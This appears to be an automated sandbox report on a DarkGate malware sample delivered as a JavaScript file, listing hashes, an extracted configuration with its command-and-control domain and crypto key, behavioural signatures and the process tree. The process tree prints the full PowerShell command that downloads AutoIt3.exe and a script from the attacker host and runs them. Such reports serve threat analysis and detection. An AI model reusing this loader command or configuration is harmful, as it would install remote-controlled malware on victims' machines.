Analysis
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max time kernel
140s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
06-11-2023 18:47
Static task
static1
Behavioral task
behavioral1
Sample
07112023_0247_app(060e45bf7b57d4).js
Resource
win7-20231025-en
General
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Target
07112023_0247_app(060e45bf7b57d4).js
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Size
252KB
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MD5
52084d5af42edfe681c380b0fd8d1ca3
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SHA1
dcc445bb4a504c2bd1e0c3f0251b3fe4bf60c5b3
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SHA256
8f7c401cde820120aedfc52946a8493e0540ab3f9eaa38a4e8d138389e89bc84
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SHA512
b58d3973ea47c268c789915d94527a45a79165243015ccc69cbee29376cc4faed40b3abf0c9ebe2ac10bc1019bc55ee5e32b90a22432f541b361e34c9e985ac1
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SSDEEP
6144:je7hgXeerjqlI2Iro+He7hgXeerjqlI2Iro+8:jIhgSlI238IhgSlI23V
Malware Config
Extracted
darkgate
ADS5
http://twittesling.com
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alternative_c2_port
8080
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anti_analysis
true
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anti_debug
true
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anti_vm
true
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c2_port
443
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check_disk
false
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check_ram
true
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check_xeon
false
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crypter_au3
false
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crypter_dll
false
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crypter_rawstub
true
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crypto_key
ZYOhfbEEcDFGAf
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internal_mutex
txtMut
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minimum_disk
40
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minimum_ram
5000
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ping_interval
4
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rootkit
true
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startup_persistence
true
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username
ADS5
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 11 3384 powershell.exe 28 3384 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 2296 AutoIt3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoIt3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoIt3.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3384 powershell.exe 3384 powershell.exe 3384 powershell.exe 3384 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3384 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4132 wrote to memory of 3384 4132 wscript.exe 87 PID 4132 wrote to memory of 3384 4132 wscript.exe 87 PID 3384 wrote to memory of 2296 3384 powershell.exe 95 PID 3384 wrote to memory of 2296 3384 powershell.exe 95 PID 3384 wrote to memory of 2296 3384 powershell.exe 95
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_0247_app(060e45bf7b57d4).js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://twittesling.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://twittesling.com:443/msiukclaynr' -OutFile 'ukclaynr.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ukclaynr.au3'"; Stop-Process -Name "WScript"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe" ukclaynr.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2296
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
490KB
MD5a5f203d25d2e04a2b7f0e6a388e415ec
SHA1aa2890ec2666cd89d9d47f3b2fe3fa9590fc3a5a
SHA2562ab20d92bd6c8bcea33eac9cbab007dd79fed72b86acb87669ed4c258fa24dd3
SHA5125998917232b3216386e9948d231b556a00991c4b7cffb9f69ad3ba22781943a9f6417c6ef7847c696bd376cfc023d09c18c3d0b2509a31c42121f865fc2c4978